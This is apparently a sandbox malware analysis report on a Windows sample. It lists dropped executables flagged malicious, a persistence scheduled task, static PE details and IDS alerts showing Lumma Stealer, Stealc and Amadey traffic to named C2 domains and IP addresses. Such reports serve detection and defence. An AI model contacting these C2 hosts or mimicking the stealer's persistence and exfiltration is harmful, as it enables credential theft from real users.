Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$...........@.. ...`....@.. .............................%Z...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...vxijesvo..)......x)..:..............@...eoamyyhq. ... .......).............@....taggant.@...@*.."....).............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\5VHE3T5UQF0Q17ZEPUURN3ZOS.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895936
Entropy (8bit):	7.947917047204609
Encrypted:	false
SSDEEP:	24576:v0vY0mY/uFb04Rqbuz6n20st253z/w0jzTDDVBaDjUsvwb7UiHHSK8ew0LdEs:vamYWDRIQ7tS3hTDKvUsvw58x0L
MD5:	4D78E942E639DF559486A8BCF5B3CDAC
SHA1:	FB14696B664FF7780E1411112F9A2F9E18FC3E3C
SHA-256:	E7704C2E47C2745083FDFD4C246F6538058D4CB5CBFFDE49B7F36EF9A98FCD10
SHA-512:	FCE74DB28344D9623F374A6C9F771B448648D0CC5163ED4735DBEEDACF2949F010BBF7FA53D23F90DF2EA26CC0FC19D72802A4A7C1381FFF372848EFA4C904AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K...........@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .P*.........................@...iropgfss......1.....................@...gmutwtzh......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895936
Entropy (8bit):	7.947917047204609
Encrypted:	false
SSDEEP:	24576:v0vY0mY/uFb04Rqbuz6n20st253z/w0jzTDDVBaDjUsvwb7UiHHSK8ew0LdEs:vamYWDRIQ7tS3hTDKvUsvw58x0L
MD5:	4D78E942E639DF559486A8BCF5B3CDAC
SHA1:	FB14696B664FF7780E1411112F9A2F9E18FC3E3C
SHA-256:	E7704C2E47C2745083FDFD4C246F6538058D4CB5CBFFDE49B7F36EF9A98FCD10
SHA-512:	FCE74DB28344D9623F374A6C9F771B448648D0CC5163ED4735DBEEDACF2949F010BBF7FA53D23F90DF2EA26CC0FC19D72802A4A7C1381FFF372848EFA4C904AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K...........@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .P*.........................@...iropgfss......1.....................@...gmutwtzh......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\H8LKYZRGA2T6H9I76LLUOB7IB07Z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1918464
Entropy (8bit):	7.948392018956134
Encrypted:	false
SSDEEP:	49152:4YSJ4c9/mvcJh6c+6wujKJg2B9ORT/ZpLFnzOf:RSJ4q/Ph6c+6wd9OR/ZHq
MD5:	7CEC6EEFC34F3702D47FA5A28CBBB929
SHA1:	DFE6AA0C35D17240CC857447D90614CEC2D05B1A
SHA-256:	A6F91D78572A12EB6F938220EE73F01EE43EF6FDFAAEDF8439C0BE80553DD841
SHA-512:	A8084F055DD47AF7FD85131424D7EB1F4F209C976E3147D1F11D0C5632DBC4DEDD790F7C65B0811A64A8458A9BEA4877A6CC33C5B01B5EE49982ED1FFFC2F912
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......l...........@...........................l.....r\....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..+...%......:..............@...fzxkvimr......Q......<..............@...ubuokytu......l...... ..............@....taggant.0....l.."...$..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\J2IWSCR5FJAMGGW2VC4ET4.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1918464
Entropy (8bit):	7.948392018956134
Encrypted:	false
SSDEEP:	49152:4YSJ4c9/mvcJh6c+6wujKJg2B9ORT/ZpLFnzOf:RSJ4q/Ph6c+6wd9OR/ZHq
MD5:	7CEC6EEFC34F3702D47FA5A28CBBB929
SHA1:	DFE6AA0C35D17240CC857447D90614CEC2D05B1A
SHA-256:	A6F91D78572A12EB6F938220EE73F01EE43EF6FDFAAEDF8439C0BE80553DD841
SHA-512:	A8084F055DD47AF7FD85131424D7EB1F4F209C976E3147D1F11D0C5632DBC4DEDD790F7C65B0811A64A8458A9BEA4877A6CC33C5B01B5EE49982ED1FFFC2F912
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......l...........@...........................l.....r\....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..+...%......:..............@...fzxkvimr......Q......<..............@...ubuokytu......l...... ..............@....taggant.0....l.."...$..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1895936
Entropy (8bit):	7.947917047204609
Encrypted:	false
SSDEEP:	24576:v0vY0mY/uFb04Rqbuz6n20st253z/w0jzTDDVBaDjUsvwb7UiHHSK8ew0LdEs:vamYWDRIQ7tS3hTDKvUsvw58x0L
MD5:	4D78E942E639DF559486A8BCF5B3CDAC
SHA1:	FB14696B664FF7780E1411112F9A2F9E18FC3E3C
SHA-256:	E7704C2E47C2745083FDFD4C246F6538058D4CB5CBFFDE49B7F36EF9A98FCD10
SHA-512:	FCE74DB28344D9623F374A6C9F771B448648D0CC5163ED4735DBEEDACF2949F010BBF7FA53D23F90DF2EA26CC0FC19D72802A4A7C1381FFF372848EFA4C904AF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@.......................... K...........@.................................W...k.............................J...............................J..................................................... . ............................@....rsrc...............................@....idata ............................@... .P*.........................@...iropgfss......1.....................@...gmutwtzh......J.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs-1.js

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515118737964413
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp62qUCaXr6VqkHNBw8dknSl:YeBqUWJPwZ0
MD5:	03E728BF0BC6C49F74ED6BB11AD22FBB
SHA1:	CA32A697E8AEFBF2ED9C698D2E68369B18A384CD
SHA-256:	B77FD036B7AC619BAC804AB28CEBB0075C8B2E2CFED3413E8BCB6DEBAD33FD6B
SHA-512:	4116F43096DB6E3052A8486291E2D81B0D421207829ABAC6FD8E08BEEE7B179AE28B8F5471041CF6E2FA5C3DD71173913B5C0B578D02C39CA90C309F0494C280
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9884
Entropy (8bit):	5.515118737964413
Encrypted:	false
SSDEEP:	192:lvnSRkGYbBp62qUCaXr6VqkHNBw8dknSl:YeBqUWJPwZ0
MD5:	03E728BF0BC6C49F74ED6BB11AD22FBB
SHA1:	CA32A697E8AEFBF2ED9C698D2E68369B18A384CD
SHA-256:	B77FD036B7AC619BAC804AB28CEBB0075C8B2E2CFED3413E8BCB6DEBAD33FD6B
SHA-512:	4116F43096DB6E3052A8486291E2D81B0D421207829ABAC6FD8E08BEEE7B179AE28B8F5471041CF6E2FA5C3DD71173913B5C0B578D02C39CA90C309F0494C280
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "27fb6245-bd08-4de6-8f4d-2ece3f597752");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.backgroundErrors", 1);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696491690);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696491694);..user_pref("app.up

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json (copy)

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\sessionCheckpoints.json.tmp

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	90
Entropy (8bit):	4.194538242412464
Encrypted:	false
SSDEEP:	3:YVXKQJAyiVLQwJtJDBA+AJ2LKZXJ3YFwHY:Y9KQOy6Lb1BA+m2L69Yr
MD5:	C4AB2EE59CA41B6D6A6EA911F35BDC00
SHA1:	5942CD6505FC8A9DABA403B082067E1CDEFDFBC4
SHA-256:	00AD9799527C3FD21F3A85012565EAE817490F3E0D417413BF9567BB5909F6A2
SHA-512:	71EA16900479E6AF161E0AAD08C8D1E9DED5868A8D848E7647272F3002E2F2013E16382B677ABE3C6F17792A26293B9E27EC78E16F00BD24BA3D21072BD1CAE2
Malicious:	false
Preview:	{"profile-after-change":true,"final-ui-startup":true,"sessionstore-windows-restored":true}

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\G4X9C8XP66LPZY0PX2HHB5N.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4598710302571156
Encrypted:	false
SSDEEP:	6:FSbl/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lFvt0:FWlrlvJQ1CGAFMkXd8kX+VFvt0
MD5:	DC63EB53C58A751CFD144ABF720425A6
SHA1:	42935F0DAC729C74C07C3C2FB9EC3C9A37AD9FFE
SHA-256:	159F051143D44A5018A713967E4BC3A32D29FF71F6B15D23AB4FAF76FD917A53
SHA-512:	46F3EB7CF0FF0893F3D9039EF44C0F2B809E950061BB23CDAA24BCEF5E411DEF4B70379153766E16B575C240931E05A805BE3EF24CD079315BE9E35D6008DF4A
Malicious:	false
Preview:	....[7o-6-.C.`..W..dF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.535827466077147
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'015'168 bytes
MD5:	168a446710f2bab46f3da2d8a92008e2
SHA1:	8c83f817e6b6d98a3a5526dec196f7fc6ed90e54
SHA256:	1d90c40defe396301d00b6fe2d743c2e54f3fa5a8bb2be8800a104283506b1cf
SHA512:	c26026f1e5947311d29fdba625ce362e7a753543d032a7a77f831e4a212ec6eacab23eaa72bbe0d384a0a1d13adbc0268c9fdcf4a2ca150329d34a5c1227968f
SSDEEP:	49152:5M0Q/LwKwdWhD8mbyt4yp0vuBOGqMwNB/XAR7sV4xgofT:+0QjwKwduAmbyt4yevuBOGqMwNB/isyB
TLSH:	90D53BA2B90AA2CFD4DF1BB89527CDC2995D03BA871044C7A96CB57E7D63CC111BBC24
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................1...........@...........................1...........@.................................W...k..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x718000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66FFF14A [Fri Oct 4 13:44:42 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FDE706E347Ah
pavgb mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5f057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x5d000	0x25e00	5350b84004cd1810b795c73b99ce8167	False	0.9994520936468647	data	7.9743511305048305	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x5e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5f000	0x1000	0x200	fe72def8b74193a84232a780098a7ce0	False	0.150390625	data	1.04205214219471	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vzkjjryc	0x60000	0x2b7000	0x2b6a00	f27fed9d1a6831e4dc486a18b912fac2	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
glqpzueu	0x317000	0x1000	0x600	229b9d7e4cc5bd030c8075c3d5d27244	False	0.5657552083333334	data	5.0246837581515535	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x318000	0x3000	0x2200	05bfe8bb5ea4d02510396d5f2fb71569	False	0.0803079044117647	DOS executable (COM)	1.0623363835238138	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-24T04:01:27.852412+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	56595	1.1.1.1	53	UDP
2024-10-24T04:01:27.867249+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	50494	1.1.1.1	53	UDP
2024-10-24T04:01:27.879657+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	49815	1.1.1.1	53	UDP
2024-10-24T04:01:27.891673+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	65398	1.1.1.1	53	UDP
2024-10-24T04:01:27.916704+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	53069	1.1.1.1	53	UDP
2024-10-24T04:01:27.926054+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	55158	1.1.1.1	53	UDP
2024-10-24T04:01:27.937551+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	51406	1.1.1.1	53	UDP
2024-10-24T04:01:27.949282+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	64796	1.1.1.1	53	UDP
2024-10-24T04:01:29.494934+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49746	104.102.49.254	443	TCP
2024-10-24T04:01:30.424909+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49757	104.21.53.8	443	TCP
2024-10-24T04:01:30.424909+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49757	104.21.53.8	443	TCP
2024-10-24T04:01:31.689900+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49763	104.21.53.8	443	TCP
2024-10-24T04:01:31.689900+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49763	104.21.53.8	443	TCP
2024-10-24T04:01:37.436807+0200	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49800	104.21.53.8	443	TCP
2024-10-24T04:01:41.990543+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49830	104.21.53.8	443	TCP
2024-10-24T04:01:48.071898+0200	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49837	185.215.113.16	80	TCP
2024-10-24T04:01:54.327133+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49895	185.215.113.37	80	TCP
2024-10-24T04:01:56.711448+0200	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49911	185.215.113.43	80	TCP
2024-10-24T04:02:00.090604+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49930	185.215.113.16	80	TCP
2024-10-24T04:02:08.200416+0200	2056471	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clearancek .site)	1	192.168.2.7	54703	1.1.1.1	53	UDP
2024-10-24T04:02:08.211259+0200	2056485	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (mobbipenju .store)	1	192.168.2.7	59233	1.1.1.1	53	UDP
2024-10-24T04:02:08.223181+0200	2056483	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (eaglepawnoy .store)	1	192.168.2.7	54108	1.1.1.1	53	UDP
2024-10-24T04:02:08.233393+0200	2056481	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dissapoiznw .store)	1	192.168.2.7	64390	1.1.1.1	53	UDP
2024-10-24T04:02:08.246393+0200	2056479	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (studennotediw .store)	1	192.168.2.7	57591	1.1.1.1	53	UDP
2024-10-24T04:02:08.265400+0200	2056477	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bathdoomgaz .store)	1	192.168.2.7	53353	1.1.1.1	53	UDP
2024-10-24T04:02:08.276030+0200	2056475	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (spirittunek .store)	1	192.168.2.7	55001	1.1.1.1	53	UDP
2024-10-24T04:02:08.286903+0200	2056473	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (licendfilteo .site)	1	192.168.2.7	53237	1.1.1.1	53	UDP
2024-10-24T04:02:08.655783+0200	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49922	TCP
2024-10-24T04:02:09.591796+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49985	185.215.113.43	80	TCP
2024-10-24T04:02:09.786708+0200	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.7	49981	104.102.49.254	443	TCP
2024-10-24T04:02:10.499146+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49990	185.215.113.16	80	TCP
2024-10-24T04:02:18.746889+0200	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49991	185.215.113.43	80	TCP
2024-10-24T04:02:19.608572+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49992	185.215.113.37	80	TCP
